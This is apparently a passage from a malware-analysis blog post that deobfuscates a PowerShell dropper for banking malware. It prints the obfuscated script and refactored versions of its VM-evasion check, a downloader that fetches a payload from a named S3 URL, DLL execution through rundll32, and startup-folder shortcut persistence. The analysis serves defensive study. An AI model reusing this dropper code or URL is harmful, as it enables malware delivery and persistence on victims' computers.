/==== \ /= \ } = $false while ( $ { /=== \ / \_ /==== \ /= \ } -ne $true ) { __ /==== \___ /= \_ / \_ $ { ____ /=== \ /===== \ / } $ { /= \ /== \__ / \_ / \__ / } ; sleep - s 1 if ( ( gi $ { /= \ /== \__ / \_ / \__ / } ) .length -gt 2048kb ) { $ { /=== \ / \_ /==== \ /= \ } = $true $ { _ /= \_ /== \ /= \__ / \_ } = "Y" } else { $ { _ /= \_ /== \ /= \__ / \_ } = "N" } Write-Host $ { /=== \ / \_ /==== \ /= \ } } $ { _ /= \_ /== \ /= \__ / \_ } = "Y" if ( $ { _ /= \_ /== \ /= \__ / \_ } -eq "Y" ) { $ { /=== \__ / \ /== \_ /== } = $ { ___ / \ /=== \____ / \ / } + $ { /= \______ /= \ /== \ / } + $ ( '.zip' ) ren -Path $ExecutionContext .InvokeCommand.ExpandString ( '${/=\/==\__/\_/\__/}' ) -NewName $ExecutionContext .InvokeCommand.ExpandString ( '${/===\__/\/==\_/==}' ) ; $ { /= \_ /= \_ /=== \___ / } = New-Object -ComObject shell.application $ { _ / \___ / \_ /====== \ } = $ { /= \_ /= \_ /=== \___ / } .NameSpace ( $ { /=== \__ / \ /== \_ /== } ) foreach ( $ { _ /==== \ / \_ / \ / \__ / } in $ { _ / \___ / \_ /====== \ } .items ( ) ) { $ { /= \_ /= \_ /=== \___ / } .Namespace ( $ { ___ / \ /=== \____ / \ / } ) .CopyHere ( $ { _ /==== \ / \_ / \ / \__ / } ) } sleep - s 3 $ { _ / \_ /= \_ /= \_ / \___ } = ____ / \__ /=== \_ /= \ / $ { /= \_ /=== \ / \_ /=== \ } = $ { _ / \_ /= \_ /= \_ / \___ } + ( '.prx' ) $ { _ / \_ /= \_ /= \_ / \___ } = $ { _ / \_ /= \_ /= \_ / \___ } + ( '.dll' ) ren -Path $ExecutionContext .InvokeCommand.ExpandString ( '$env:APPDATA\${_/\/\_/\_/=\/====}' ) -NewName $ExecutionContext .InvokeCommand.ExpandString ( '$env:APPDATA\${_/\_/=\_/=\_/\___}' ) ; ren -Path $ExecutionContext .InvokeCommand.ExpandString ( '$env:APPDATA\${_/\____/=\/\_/===}' ) -NewName $ExecutionContext .InvokeCommand.ExpandString ( '$env:APPDATA\${/=\_/===\/\_/===\}' ) ; sleep - s 3 cd $env :APPDATA ; shellObjeto = New-Object - Com WScript.Shell $ { _ /= \ / \ / \ /= \__ / \ /= } = shellObjeto.SpecialFolders.Item ( $ ( 'startup' ) ; del $ { _ /= \ / \ / \ /= \__ / \ /= } \ * .vbs del $ { _ /= \ / \ / \ /= \__ / \ /= } \ * .lnk $ { /= \______ / \_ / \_ /= } = $ExecutionContext .InvokeCommand.ExpandString ( 'cd $env:APPDATA; Start-Process rundll32.exe ${_/\_/=\_/=\_/\___}, ${___/=\/\/\_____/=}' ) $ { ___ /= \ /== \ / \_____ } = $ExecutionContext .InvokeCommand.ExpandString ( '${_/=\/\/\/=\__/\/=}\${/=\_/===\/\_/===\}.lnk' ) _____ /== \_ /= \_ /=== $ { ___ /= \ /== \ / \_____ } $ { /= \______ / \_ / \_ /= } sleep - s 40 Restart - Computer -Force } } }

Using this code, the refactoring process can start. Bellow, parts of the code will be highlighted and refactored.

Refactoring

The how and why are the main focus in this part. In the code that is given below, multiple virtualisation systems are named.

function _ /= \ / \ /=== \ /== \___ { $ { _ / \___ /= \_ / \ / \__ / } = gwmi -Class Win32_ComputerSystem | select -ExpandProperty Model if ( $ { _ / \___ /= \_ / \ / \__ / } -eq $ ( 'VirtualBox' ) -or $ { _ / \___ /= \_ / \ / \__ / } -eq $ ( 'VMware Virtual Platform' ) -or $ { _ / \___ /= \_ / \ / \__ / } -eq $ ( 'Virtual Machine' ) -or $ { _ / \___ /= \_ / \ / \__ / } -eq $ ( 'HVM domU' ) { return "Y" } else { return "N" } }

The variable _/\___/=\_/\/\__/ contains the information about the current system. It can therefor be renamed to computerSystem. The function checks if the current environment is a virtual one. The function, _/=\/\/===\/==\___ is a vmCheck. The refactored code is given below.

function vmCheck { $ { computerSystem } = gwmi -Class Win32_ComputerSystem | select -ExpandProperty Model if ( $ { computerSystem } -eq $ ( 'VirtualBox' ) -or $ { computerSystem } -eq $ ( 'VMware Virtual Platform' ) -or $ { computerSystem } -eq $ ( 'Virtual Machine' ) -or $ { computerSystem } -eq $ ( 'HVM domU' ) { return "Y" } else { return "N" } }

The second function looks like a random string generator, since there is a string which consists of the a common keyboard layout.

function ____ / \__ /=== \_ /= \ / { try { $ { ___ / \_ /= \_ /= \_ / \ / } = Get - Random -Minimum 1 -Maximum 9 $ { _ / \ / \_ / \ / \_ /= \ / \ / } = "" For ( $ { /== \ / \___ / \_ / \ /== } = 0 ; $ { /== \ / \___ / \_ / \ /== } -le $ { ___ / \_ /= \_ /= \_ / \ / } ; $ { /== \ / \___ / \_ / \ /== } ++ ) { qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM = $ ( 'qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM' ) nomeRandomico_getrandom = Get - Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring ( nomeRandomico_getrandom , 1 ) $ { _ / \ / \_ / \ / \_ /= \ / \ / } = $ { _ / \ / \_ / \ / \_ /= \ / \ / } + caractereRandomico } return $ { _ / \ / \_ / \ / \_ /= \ / \ / } } finally { } }

At first, the for loop can be observed. The variable /==\/\___/\_/\/== is generally named i and can be renamed as such. The amount of times that the loop iterates is equal to the value of ___/\_/=\_/=\_/\/. This variable is set at a random value between 1 and 9 and defines the length of the for loop. It can be renamed to length. The last variable, _/\/\_/\/\_/=\/\/ is the return value, and can be renamed returnValue.

Looking at the refactored code, the function’s purpose becomes apparent.

try { $ { length } = Get - Random -Minimum 1 -Maximum 9 $ { returnValue } = "" For ( $ { i } = 0 ; $ { i } -le $ { length } ; $ { i } ++ ) { qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM = $ ( 'qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM' ) nomeRandomico_getrandom = Get - Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring ( nomeRandomico_getrandom , 1 ) $ { returnValue } = $ { returnValue } + caractereRandomico } return $ { returnValue } } finally { }

From the character set qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM, characters are copied at random, between 1 and 9 times. The concatenated output is then returned, providing a pseudo random string. The function ____/\__/===\_/=\/ can be renamed to getRandomString.

The next function is longer, but also provides more information from the start, since it uses parts of the Dot Net system, in which the strings are not obfuscated. The code is given below.

function __ /==== \___ /= \_ / \_ ( $ { ___ / \ / \_ / \_ /= \__ / \ } , $ { ___ /== \ /= \ /= \____ / } ) { $ { /= \_ / \ /==== \ / \_ / \ } = New-Object $ ( 'System.uri' ) $ExecutionContext .InvokeCommand.ExpandString ( $S { ___ / \ / \_ / \_ /= \__ / \ } ) $ { /= \ /=== \_ / \ / \_ / \_ } = [ System.Net.HttpWebRequest ] ::Create ( $ { /= \_ / \ /==== \ / \_ / \ } ) $ { /= \ /=== \_ / \ / \_ / \_ } .set_Timeout ( 15000 ) $ { /= \ /==== \__ /== \__ } = $ { /= \ /=== \_ / \ / \_ / \_ } .GetResponse ( ) $ { /= \_ /== \__ / \__ / \_ } = [ System.Math ] ::Floor ( $ { /= \ /==== \__ /== \__ } .get_ContentLength ( ) / 1024 ) $ { _ /=== \ /= \_ /= \___ / } = $ { /= \ /==== \__ /== \__ } .GetResponseStream ( ) $ { __ /==== \__ / \ / \__ / } = New-Object -TypeName System.IO.FileStream -ArgumentList $ { ___ /== \ /= \ /= \____ / } , Create $ { /= \ /= \ /== \_ / \ /= \_ } = new-object byte [ ] 10KB $ { _ /=== \_ /= \ / \ /=== \ } = $ { _ /=== \ /= \_ /= \___ / } .Read ( $ { /= \ /= \ /== \_ / \ /= \_ } , 0 , $ { /= \ /= \ /== \_ / \ /= \_ } .length ) $ { /== \_ /=== \ / \ /= \ / \ } = $ { _ /=== \_ /= \ / \ /=== \ } while ( $ { _ /=== \_ /= \ / \ /=== \ } -gt 0 ) { $ { __ /==== \__ / \ / \__ / } . Write ( $ { /= \ /= \ /== \_ / \ /= \_ } , 0 , $ { _ /=== \_ /= \ / \ /=== \ } ) $ { _ /=== \_ /= \ / \ /=== \ } = $ { _ /=== \ /= \_ /= \___ / } .Read ( $ { /= \ /= \ /== \_ / \ /= \_ } , 0 , $ { /= \ /= \ /== \_ / \ /= \_ } .length ) $ { /== \_ /=== \ / \ /= \ / \ } = $ { /== \_ /=== \ / \ /= \ / \ } + $ { _ /=== \_ /= \ / \ /=== \ } } $ { __ /==== \__ / \ / \__ / } .Flush ( ) $ { __ /==== \__ / \ / \__ / } .Close ( ) $ { __ /==== \__ / \ / \__ / } .Dispose ( ) $ { _ /=== \ /= \_ /= \___ / } .Dispose ( ) return "Y" }

The first argument of the function, ___/\/\_/\_/=\__/\ is used in the first line, in which the System.Uri class is called. The given input is an url, and can be renamed as such. Note that the Uri object (named /=\_/\/====\/\_/\) can also be refactored as such.

The line below that, the variable /=\/===\_/\/\_/\_ is used to create a Syste.Net.HttpWebRequest object. The variable can thus be renamed to httpWebRequest.

Two lines below that, the response of the request is saved in the variable /=\/====\__/==\__. Thus, the variable can be renamed to httpResponse. The function get_ContentLength returns the responseContentLength (previously /=\_/==\__/\__/\_) and the GetResponseStream function returns the responseStream (previously _/===\/=\_/=\___/).

The Dot Net System.IO.FileStream can be found under the original name of __/====\__/\/\__/. A more readable name is fileStream.

The loop below that uses the Dot Net FileStream Write function to write the data to the disk. The refactored code is given below.

function downloadFileAndWriteToFile ( $ { url } , $ { argumentList } ) { $ { uri } = New-Object $ ( 'System.Uri' ) $ExecutionContext .InvokeCommand.ExpandString ( $S { url } ) $ { httpWebRequest } = [ System.Net.HttpWebRequest ] ::Create ( $ { uri } ) $ { httpWebRequest } .set_Timeout ( 15000 ) $ { httpResponse } = $ { httpWebRequest } .GetResponse ( ) $ { responseContentLength } = [ System.Math ] ::Floor ( $ { httpResponse } .get_ContentLength ( ) / 1024 ) $ { responseStream } = $ { httpResponse } .GetResponseStream ( ) $ { fileStream } = New-Object -TypeName System.IO.FileStream -ArgumentList $ { argumentList } , Create $ { arrayToWrite } = new-object byte [ ] 10KB $ { sizeToWrite } = $ { responseStream } .Read ( $ { arrayToWrite } , 0 , $ { arrayToWrite } .length ) $ { counter } = $ { sizeToWrite } while ( $ { sizeToWrite } -gt 0 ) { $ { fileStream } . Write ( $ { arrayToWrite } , 0 , $ { sizeToWrite } ) #byte[] array, int offset, int count $ { sizeToWrite } = $ { responseStream } .Read ( $ { arrayToWrite } , 0 , $ { arrayToWrite } .length ) $ { counter } = $ { counter } + $ { sizeToWrite } } $ { fileStream } .Flush ( ) $ { fileStream } .Close ( ) $ { fileStream } .Dispose ( ) $ { responseStream } .Dispose ( ) return "Y" }

The next function contains less variables, making it easier to refactor the code.

function _____ /== \_ /= \_ /=== { Param ( [ string ] $ { _ /===== \ /== \ / \___ / } , [ string ] $ { ___ / \____ / \_ /= \ / \_ } ) ; try { $ { _ / \ /= \ / \ /=== \ / \ / \ } = New-Object -ComObject WScript.Shell $ { /= \ /= \ / \ /= \_ /= \__ } = $ { _ / \ /= \ / \ /=== \ / \ / \ } .CreateShortcut ( $ { _ /===== \ /== \ / \___ / } ) $ { /= \ /= \ / \ /= \_ /= \__ } .TargetPath = 'powershell' $ { /= \ /= \ / \ /= \_ /= \__ } .Arguments = $ExecutionContext .InvokeCommand.ExpandString ( '$S{___/\/\_/\_/=\__/\}' ) $ { /= \ /= \ / \ /= \_ /= \__ } .WorkingDirectory = $ ( '%SystemRoot%\System32' ) $ { /= \ /= \ / \ /= \_ /= \__ } .WindowStyle = 7 $ { /= \ /= \ / \ /= \_ /= \__ } .IconLocation = $ ( '%ProgramFiles%\Internet Explorer\iexplore.exe,1' ) $ { /= \ /= \ / \ /= \_ /= \__ } .Save ( ) } finally { } }

In the function’s first line, a WScript.Shell object is instantiated. Thus, the variable _/\/=\/\/===\/\/\ can be renamed to wscriptShellObject. In the second line, two variables are used. Both can be renamed based on this information. The variable _/=====\/==\/\___/ is the targetLocation of the shortcut, as it is passed as a parameter. The shortcut object is returned by the CreateShortcut method, making /=\/=\/\/=\_/=\__ equal to the shortcut.

The variable ___/\/\_/\_/=\__/\ is equal to the arguments of the shortcut. The refactored code is given below.

function createShortcut { Param ( [ string ] $ { targetLocation } , [ string ] $ { unusedCommand } ) ; try { $ { wscriptShellObject } = New-Object -ComObject WScript.Shell $ { shortcut } = $ { wscriptShellObject } .CreateShortcut ( $ { targetLocation } ) $ { shortcut } .TargetPath = 'powershell' $ { shortcut } .Arguments = $ExecutionContext .InvokeCommand.ExpandString ( $S { arguments } ) $ { shortcut } .WorkingDirectory = $ ( '%SystemRoot%\System32' ) $ { shortcut } .WindowStyle = 7 $ { shortcut } .IconLocation = $ ( '%ProgramFiles%\Internet Explorer\iexplore.exe,1' ) $ { shortcut } .Save ( ) } finally { } }

A new shortcut is created on the system, based on the provided target location. The icon is the second icon (first index) that resides within the iexplore.exe binary. Window style 7 is used to minimise the window and focus the next window on the screen. The shortcut will execute Powershell in the %StystemRoot%\System32 directory together with the provided arguments.

The last function in the script is given below.

function _ /= \ / \_ / \ /=== \_ /== { try { $ { _ /====== \_ / \ /= \ / \ } = New-Object System.Threading.Mutex ( $false , $ ( '444444444444' ) ) return $ { _ /====== \_ / \ /= \ / \ } .WaitOne ( ) } finally { } }

The Dot Net class System.Threading.Mutex is used in this function, and _/======\_/\/=\/\ can be refactored as such. The mutex is used to ensure only one instance is running at a time. The refactored code is given below.

function mutexCheck { try { $ { threadingMutex } = New-Object System.Threading.Mutex ( $false , $ ( '444444444444' ) ) return $ { threadingMutex } .WaitOne ( ) } finally { } }

Fitting the pieces together

Now all functions are refactored, the code which is executed needs to be analysed, as it displays the order in which the functions are called and which arguments are given to the functions. The code is given below.

$ { amazonUrl } = $ ( 'https://s3-eu-west-1.amazonaws.com/juremasobra2/image2.png' ) _.dll = $ ( '_.dll' ) _.prx = $ ( '_.prx' ) MaxNotify = $ ( 'MaxNotify' ) if ( vmCheck -eq "N" ) { if ( mutexCheck ) { stop-process -name wmplayer $ { ___ / \ /=== \____ / \ / } = $ { env:APPDATA } + "\" $ { /= \______ /= \ /== \ / } = getRandomString $ { /=== \ /= \ / \_ /= \ /== } = $ ( '.txt' ) $ { _ /= \ /=== \ / \___ / \_ } = $ ( '.vbs' ) $ { /= \ /== \__ / \_ / \__ / } = $ { ___ / \ /=== \____ / \ / } + $ { /= \______ /= \ /== \ / } + $ { /=== \ /= \ / \_ /= \ /== } $ { /= \__ /= \___ /=== \_ } = $ { ___ / \ /=== \____ / \ / } + $ { /= \______ /= \ /== \ / } + $ { _ /= \ /=== \ / \___ / \_ } sleep - s 1 $ { /=== \ / \_ /==== \ /= \ } = $false while ( $ { /=== \ / \_ /==== \ /= \ } -ne $true ) { downloadFileAndWriteToFile $ { amazonUrl } $ { /= \ /== \__ / \_ / \__ / } ; sleep - s 1 if ( ( gi $ { /= \ /== \__ / \_ / \__ / } ) .length -gt 2048kb ) { $ { /=== \ / \_ /==== \ /= \ } = $true $ { _ /= \_ /== \ /= \__ / \_ } = "Y" } else { $ { _ /= \_ /== \ /= \__ / \_ } = "N" } Write-Host $ { /=== \ / \_ /==== \ /= \ } } $ { _ /= \_ /== \ /= \__ / \_ } = "Y" if ( $ { _ /= \_ /== \ /= \__ / \_ } -eq "Y" ) { $ { /=== \__ / \ /== \_ /== } = $ { ___ / \ /=== \____ / \ / } + $ { /= \______ /= \ /== \ / } + $ ( '.zip' ) ren -Path $ExecutionContext .InvokeCommand.ExpandString ( '${/=\/==\__/\_/\__/}' ) -NewName $ExecutionContext .InvokeCommand.ExpandString ( '${/===\__/\/==\_/==}' ) ; $ { /= \_ /= \_ /=== \___ / } = New-Object -ComObject shell.application $ { _ / \___ / \_ /====== \ } = $ { /= \_ /= \_ /=== \___ / } .NameSpace ( $ { /=== \__ / \ /== \_ /== } ) foreach ( $ { _ /==== \ / \_ / \ / \__ / } in $ { _ / \___ / \_ /====== \ } .items ( ) ) { $ { /= \_ /= \_ /=== \___ / } .Namespace ( $ { ___ / \ /=== \____ / \ / } ) .CopyHere ( $ { _ /==== \ / \_ / \ / \__ / } ) } sleep - s 3 $ { _ / \_ /= \_ /= \_ / \___ } = getRandomString $ { /= \_ /=== \ / \_ /=== \ } = $ { _ / \_ /= \_ /= \_ / \___ } + ( '.prx' ) $ { _ / \_ /= \_ /= \_ / \___ } = $ { _ / \_ /= \_ /= \_ / \___ } + ( '.dll' ) ren -Path $ExecutionContext .InvokeCommand.ExpandString ( '$env:APPDATA\${_/\/\_/\_/=\/====}' ) -NewName $ExecutionContext .InvokeCommand.ExpandString ( '$env:APPDATA\${_/\_/=\_/=\_/\___}' ) ; ren -Path $ExecutionContext .InvokeCommand.ExpandString ( '$env:APPDATA\${_/\____/=\/\_/===}' ) -NewName $ExecutionContext .InvokeCommand.ExpandString ( '$env:APPDATA\${/=\_/===\/\_/===\}' ) ; sleep - s 3 cd $env :APPDATA ; shellObjeto = New-Object - Com WScript.Shell $ { _ /= \ / \ / \ /= \__ / \ /= } = shellObjeto.SpecialFolders.Item ( $ ( 'startup' ) ; del $ { _ /= \ / \ / \ /= \__ / \ /= } \ * .vbs del $ { _ /= \ / \ / \ /= \__ / \ /= } \ * .lnk $ { /= \______ / \_ / \_ /= } = $ExecutionContext .InvokeCommand.ExpandString ( 'cd $env:APPDATA; Start-Process rundll32.exe ${_/\_/=\_/=\_/\___}, ${___/=\/\/\_____/=}' ) $ { ___ /= \ /== \ / \_____ } = $ExecutionContext .InvokeCommand.ExpandString ( '${_/=\/\/\/=\__/\/=}\${/=\_/===\/\_/===\}.lnk' ) createShortcut $ { ___ /= \ /== \ / \_____ } $ { /= \______ / \_ / \_ /= } sleep - s 40 Restart - Computer -Force } } }

At first, the vmCheck function is executed. Only if the result is negative (N), the execution continues. Then, the mutexcheck function is called, to ensure that there is no other instance running which uses the same mutex (twelve times the number 4).

If a process with the name wmplayer exists, it is stopped. After which multiple variables are set and used to create others. The code for the first part is given below.

$ { amazonUrl } = $ ( 'https://s3-eu-west-1.amazonaws.com/juremasobra2/image2.png' ) _.dll = $ ( '_.dll' ) _.prx = $ ( '_.prx' ) MaxNotify = $ ( 'MaxNotify' ) if ( vmCheck -eq "N" ) { if ( mutexCheck ) { stop-process -name wmplayer $ { AppData } = $ { env:APPDATA } + "\" $ { getRandomStringResult } = getRandomString $ { DotTxt } = $ ( '.txt' ) $ { DotVbs } = $ ( '.vbs' ) $ { AppDataTxtFileLocation } = $ { AppData } + $ { getRandomStringResult } + $ { DotTxt } $ { AppDataVbsFileLocation } = $ { AppData } + $ { getRandomStringResult } + $ { DotVbs } sleep - s 1

Then, a file is downloaded and saved as a text file within the APPDATA folder of the machine, as can be seen below.

$ { isDownloadSucceeded } = $false while ( $ { isDownloadSucceeded } -ne $true ) { downloadFileAndWriteToFile $ { amazonUrl } $ { AppDataTxtFileLocation } ; sleep - s 1 if ( ( gi $ { AppDataTxtFileLocation } ) .length -gt 2048kb ) { $ { isDownloadSucceeded } = $true $ { isDownloadSucceededString } = "Y" } else { $ { isDownloadSucceededString } = "N" } Write-Host $ { isDownloadSucceeded } } $ { isDownloadSucceededString } = "Y"

When the download is complete, the compressed folder is renamed and extracted.

if ( $ { isDownloadSucceededString } -eq "Y" ) { $ { ZipFilePath } = $ { AppData } + $ { getRandomStringResult } + $ ( '.zip' ) ren -Path $ExecutionContext .InvokeCommand.ExpandString ( $ { AppDataTxtFileLocation } ) -NewName $ExecutionContext .InvokeCommand.ExpandString ( [ Text.Encoding ] ::Unicode.GetString ( $ { ZipFilePath } ) ; $ { shellApplication } = New-Object -ComObject shell.application $ { ZipFile } = $ { shellApplication } .NameSpace ( $ { ZipFilePath } ) foreach ( $ { file } in $ { ZipFile } .items ( ) ) { $ { shellApplication } .Namespace ( $ { AppData } ) .CopyHere ( $ { file } ) } sleep - s 3

In the code below, there are still multiple strings that are obfuscated, but it seems as if the script wasn’t fully finished, since the variables are only used but never instantiated. The downloaded files are renamed multiple times throughout the script, after which they’re placed in the startup folder of the machine. This is the persistence technique that is used in this sample.

After that, the DLL is called via rundll32.exe. The sleep function waits 40 seconds, before the machine is forcefully restarted. Then, the persistence mechanism that was set up previously, is used to keep the malware active on the machine.

$ { getRandomStringResult2 } = getRandomString $ { prxFileName } = $ { getRandomStringResult2 } + $ ( '.prx' ) $ { getRandomStringResult2 } = $ { getRandomStringResult2 } + $ ( '.dll' ) ren -Path $ExecutionContext .InvokeCommand.ExpandString ( $env :APPDATA\$ { _ / \ / \_ / \_ /= \ /==== } ) -NewName $ExecutionContext .InvokeCommand.ExpandString ( $env :APPDATA\$ { getRandomStringResult2 } ) ; ren -Path $ExecutionContext .InvokeCommand.ExpandString ( $env :APPDATA\$ { _ / \____ /= \ / \_ /=== } ) -NewName $ExecutionContext .InvokeCommand.ExpandString ( $env :APPDATA\$ { prxFileName } ) ; sleep - s 3 cd $env :APPDATA ; shellObjeto = New-Object - Com WScript.Shell $ { startupFolder } = shellObjeto.SpecialFolders.Item ( 'startup' ) ; del $ { startupFolder } \ * .vbs del $ { startupFolder } \ * .lnk $ { startCommand } = $ExecutionContext .InvokeCommand.ExpandString ( 'cd $env:APPDATA; Start-Process rundll32.exe ${getRandomStringResult2}, ${___/=\/\/\_____/=}' ) $ { shortcutTargetLocation } = $ExecutionContext .InvokeCommand.ExpandString ( $ { startupFolder } \$ { prxFileName } .lnk ) createShortcut $ { shortcutTargetLocation } $ { startCommand } sleep - s 40 Restart - Computer -Force } } }

The banking activity of the malware is left undocumented in this article, as it exceeds the scope of this article. Below, a small summary is given together with a link to a report which provides more details about this stage.

The three downloaded files, a library (DLL), gzip compress folder (prx) and an executable (EXE), are used together to perform malicious activity on the victim’s computer. The executable seems to be a legitimate NVIDIA executable which is abused by the attackers. An educated guess would be that the NVIDIA executable also loads the malicious payload. When doing more research online, a report written by Cybereason proves this theory.

The library is executed in the stage two Powershell script and is most likely the first part of the malware to be placed on the system. This component is likely to execute the vulnerable NVIDIA application, as it is not done in the Powershell script.

Using binwalk -e /path/to/file, data can be extracted. The DLL contains numerous fake HTML pages with images in it. These are used to display to the user when the banking malware is executing. An example is given below.

< HTML > < HEAD > < META HTTP-EQUIV = "Content-Type" CONTENT = "text/html;CHARSET=iso-8859-1" > < META HTTP-EQUIV = "Expires" CONTENT = "-1" > < META HTTP-EQUIV = "pragma" CONTENT = "no-cache" > < META HTTP-EQUIV = "cache-control" content = "no-cache" > < TITLE > {%APPNAME%} Error < / TITLE > < / HEAD > < BODY > < P > < TABLE BORDER = "0" WIDTH = "100%" CELLPADING = 6 > < TR HEIGHT = 141 > < TD WIDTH = 50 % ALIGN = LEFT> < IMG SRC = "{%ATOZEDLOGO%}" > < / TD > < TD WIDTH = 50 % ALIGN = RIGHT> < IMG SRC = "{%INTRAWEBLOGO%}" > < / TD > < / TR > < TR > < TD COLSPAN = 2 > < DIV ALIGN = CENTER STYLE = "border:1px solid;" > < BR >< BR > <FONT SIZE = "4" > An unhandled application error has occured within < b > {%APPNAME%} < / b > . < / FONT> < BR >< BR > < BR >< BR > {%EXCEPTIONSPECIFIC%} < BR > In order to restart the application, please click the link below: < BR >< BR > < a href = "{%APPADDRESS%}$/start" > Click here to restart < b > {%APPNAME%} < / b >< / a > . < BR >< BR > Please note that depending on the actual exception that occured, restarting the application might not be possible. If this is the case, please report the error message to the administrator. < BR >< BR > < / DIV > < / TD > < / TR > < TR > < TD COLSPAN = 2 "> < DIV ALIGN = CENTER STYLE = "border:1px solid; background: yellow" > Error message raised by the application: < b > <FONT COLOR = "RED" > {%CONTENT%} < / FONT> < / b > < / DIV > < / TD > < / TR > < / TABLE > < / BODY > < / HTML >

To contact me, you can e-mail me at [info][at][maxkersten][dot][nl], send me a PM on Reddit or DM me on Twitter @LibraAnalysis.